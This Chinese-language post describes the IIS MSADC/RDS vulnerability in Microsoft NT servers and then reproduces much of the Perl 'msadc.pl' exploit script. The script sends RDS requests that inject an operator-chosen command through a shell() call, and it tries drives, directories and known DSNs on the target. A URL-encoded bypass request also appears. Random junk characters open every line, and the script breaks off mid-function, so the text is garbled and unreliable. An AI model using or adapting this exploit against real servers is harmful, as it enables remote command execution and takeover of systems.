IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3z5w}qN]M kB:6e7D|[ 涉及程序:
F6,[!.wl Microsoft NT server
!0p_s;uu,W Twl>Pn> 描述:
Ky(=O1Ufu 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~
A? lM/)<I\8 详细:
#ub! 如果你没有时间读详细内容的话,就删除:
H&
L c:\Program Files\Common Files\System\Msadc\msadcs.dll
+OM`c7M: 有关的安全问题就没有了。
A|Z'\D0 1FC' iGI 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
5^:N]Mp" p{c+ +P5 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
(?[^##03MN 关于利用ODBC远程漏洞的描述,请参看:
yhwwF
n\ k(As^'> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )3 C~kmN7 ur*@TIvD 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
0uZ 'j http://www.microsoft.com/security/bulletins/MS99-025faq.asp BM6 J t>]wWYy 这里不再论述。
8}5dyn{cvE !w+A3Z>V 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
D`|.% n+Bh-a V /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
IG}`~% Z 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
8Df(|>mK !+Ia#( )+!~xL #将下面这段保存为txt文件,然后: "perl -x 文件名"
/<J&ZoeJB qhNY< #!perl
S4qj}`$
Yv #
F%<hng%k # MSADC/RDS 'usage' (aka exploit) script
$]H^? #
Hjho!np # by rain.forest.puppy
y}TiN!M #
{i}z|'! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
R['k&jyi # beta test and find errors!
JYQ.Y!X1O 7x,c)QES` use Socket; use Getopt::Std;
67916 getopts("e:vd:h:XR", \%args);
z@\r V@W5 * &iSW~s print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[5KzawV HkH!B.H] if (!defined $args{h} && !defined $args{R}) {
^Md]e<WAp print qq~
k{fTqKS%h Usage: msadc.pl -h <host> { -d <delay> -X -v }
qT
U(]O1 -h <host> = host you want to scan (ip or domain)
O^tH43C -d <seconds> = delay between calls, default 1 second
"!\O N)l* -X = dump Index Server path table, if available
SHM
?32' -v = verbose
!`S`%\" -e = external dictionary file for step 5
BPFd'-O) UD0via Or a -R will resume a command session
[#}A]1N }4
p3m] ~; exit;}
Ib$*w)4: 3M/iuu $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
eh@6trzp= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
1Tn0$+$.4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
S}0W<H P if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
8UAbTqB- $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*Ey5F/N}$H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+@:$7m(V ^\Bm5QkS if (!defined $args{R}){ $ret = &has_msadc;
32DSZ0
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~S5wfx& Cd>GY print "Please type the NT commandline you want to run (cmd /c assumed):\n"
s|/m}n . "cmd /c ";
vY+{zGF $in=<STDIN>; chomp $in;
7N@4c
$command="cmd /c " . $in ;
@@!Mt~\ 41pk )8~pt if (defined $args{R}) {&load; exit;}
1KH]l336D" |7ga9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
P>*g'OK^!G &try_btcustmr;
Xp(e/QB 3$]SP1Mc( print "\nStep 2: Trying to make our own DSN...";
aWp9K+4R$/ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
OokBi 02b yMdAe>@ print "\nStep 3: Trying known DSNs...";
Lk%u(duU^ &known_dsn;
5&&6e` (r&e| print "\nStep 4: Trying known .mdbs...";
^8_`IT &known_mdb;
/F>\-
<tT*.nM\ if (defined $args{e}){
C'iJFfgR print "\nStep 5: Trying dictionary of DSN names...";
.EOHkhn &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*O`76+iZ|_ %s]l^RZ print "Sorry Charley...maybe next time?\n";
|!0R"lv'u exit;
r#Pkhut b4_"dg~gK ##############################################################################
9.bMA<X ;%Z%]nIS sub sendraw { # ripped and modded from whisker
%h"+J sleep($delay); # it's a DoS on the server! At least on mine...
[+=h[DC my ($pstr)=@_;
N9W\>hKaeh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Z;/"-.i die("Socket problems\n");
2>s@2=Aq if(connect(S,pack "SnA4x8",2,80,$target)){
W#pA W select(S); $|=1;
7l-`k print $pstr; my @in=<S>;
PI"&-lXI-m select(STDOUT); close(S);
$EHnlaG8r return @in;
` ]*KrY } else { die("Can't connect...\n"); }}
o=!3=2@dh hFC4CqBV ##############################################################################
.Yxx
yPKDn.1 sub make_header { # make the HTTP request
vt;<+"eps my $msadc=<<EOT
0:W*_w0Ge POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
kNX(@f User-Agent: ACTIVEDATA
:#M(,S"Qq Host: $ip
UX-l`ygl Content-Length: $clen
R:*I>cRs Connection: Keep-Alive
x6,kG 1dhp/Qh ADCClientVersion:01.06
By 3/vb)M5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5 =Os
sAr Zi+>#kDV --!ADM!ROX!YOUR!WORLD!
~I0I#_$'P Content-Type: application/x-varg
b;!oPT Content-Length: $reqlen
st;.Po[h Fm\
h883\ EOT
.uAOk0^z ; $msadc=~s/\n/\r\n/g;
NN<kO#c+2 return $msadc;}
t7VX W{3 :K!@zT=o ##############################################################################
@@U'I^iG >\Qyg>Md] sub make_req { # make the RDS request
WMB~?
EDhv my ($switch, $p1, $p2)=@_;
JwzA'[tM my $req=""; my $t1, $t2, $query, $dsn;
"RuH"~o tS2 P|fl if ($switch==1){ # this is the btcustmr.mdb query
]xf
lfZ $query="Select * from Customers where City=" . make_shell();
7y",%WYSD $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Qtmsk:qm $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
U!@3[' M) 9Ss elsif ($switch==2){ # this is general make table query
H'uRgBjWJ $query="create table AZZ (B int, C varchar(10))";
r4}:t$ $dsn="$p1";}
^>?gFvWB% w.qpV]9> elsif ($switch==3){ # this is general exploit table query
B\2<r5|QG $query="select * from AZZ where C=" . make_shell();
*iB_$7n` $dsn="$p1";}
Sqw.p# clz6;P elsif ($switch==4){ # attempt to hork file info from index server
w{[OtGIi3 $query="select path from scope()";
+{
QyB $dsn="Provider=MSIDXS;";}
g/+P]c6/ #uNQ+US0 elsif ($switch==5){ # bad query
}Vw"7 $query="select";
gIS<"smOo $dsn="$p1";}
H"4^ be `\ O $t1= make_unicode($query);
#$(F&>pj $t2= make_unicode($dsn);
_yTGv- $req = "\x02\x00\x03\x00";
@dAc2<4 $req.= "\x08\x00" . pack ("S1", length($t1));
+Io^U $req.= "\x00\x00" . $t1 ;
1btQ[a6j $req.= "\x08\x00" . pack ("S1", length($t2));
]}R\[F (_% $req.= "\x00\x00" . $t2 ;
= >)S\Dfi $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
kS[xwbE return $req;}
1R)4[oYN\< G S-@drZp_ ##############################################################################
6sb,*uSn% Hep]jxp+ sub make_shell { # this makes the shell() statement
<Yfk7Un return "'|shell(\"$command\")|'";}
l>)0OP] xd\k;nq ##############################################################################
fB[I1Z M(o?I} sub make_unicode { # quick little function to convert to unicode
{:c*-+? my ($in)=@_; my $out;
P6*IR| for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
g*Nc+W](P> return $out;}
6=2M[T wwVK15t ##############################################################################
',nGH|K. ;1}~(I#Y sub rdo_success { # checks for RDO return success (this is kludge)
qsXK4` my (@in) = @_; my $base=content_start(@in);
jdV E/5 if($in[$base]=~/multipart\/mixed/){
WlU^+ctS return 1 if( $in[$base+10]=~/^\x09\x00/ );}
b Mi,z3z return 0;}
Iz^~=yV) zh)qo ##############################################################################
N~L3
9 6rMGlzuRo sub make_dsn { # this makes a DSN for us
D]v=/43 my @drives=("c","d","e","f");
}s{RW<A print "\nMaking DSN: ";
OOS(YP@b foreach $drive (@drives) {
! FbW7"yE print "$drive: ";
0V
,R|Ln my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
/\_`Pkd3m "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1pogk0h.: . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
N~g@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
t8 g^W K return 0 if $2 eq "404"; # not found/doesn't exist
hv te) if($2 eq "200") {
m/ 3b7c@r foreach $line (@results) {
B<(v\=xZ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
`s(T(l } return 0;}
ZWaHG_
U) .)|r!X ##############################################################################
=Y>_b
2 ['j_W$8n sub verify_exists {
]&w>p#_C my ($page)=@_;
si,fs%D& my @results=sendraw("GET $page HTTP/1.0\n\n");
3{ i'8 return $results[0];}
+[Nc";Oy qT^R>p ##############################################################################
ta _! 5mdn77F_ sub try_btcustmr {
^yg`U( my @drives=("c","d","e","f");
B P%>J^ my @dirs=("winnt","winnt35","winnt351","win","windows");
Ss+e*e5Ht n; ;b6s5 foreach $dir (@dirs) {
j_c0oclSz print "$dir -> "; # fun status so you can see progress
, A?o foreach $drive (@drives) {
wmdvAMN print "$drive: "; # ditto
udM<jY]5p $reqlen=length( make_req(1,$drive,$dir) ) - 28;
XZhuV< $reqlenlen=length( "$reqlen" );
iZ2|/hnw $clen= 206 + $reqlenlen + $reqlen;
&S9Sl 9cud CF my @results=sendraw(make_header() . make_req(1,$drive,$dir));
zz3Rld!b[ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
_3- nw else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
V6Ie\+@.\ U`sybtuBP' ##############################################################################
VU`aH9g3( ykc$B5* sub odbc_error {
tK{2'e6x my (@in)=@_; my $base;
!7t,(Id8 my $base = content_start(@in);
]}H;`H if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
4.2qt $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<<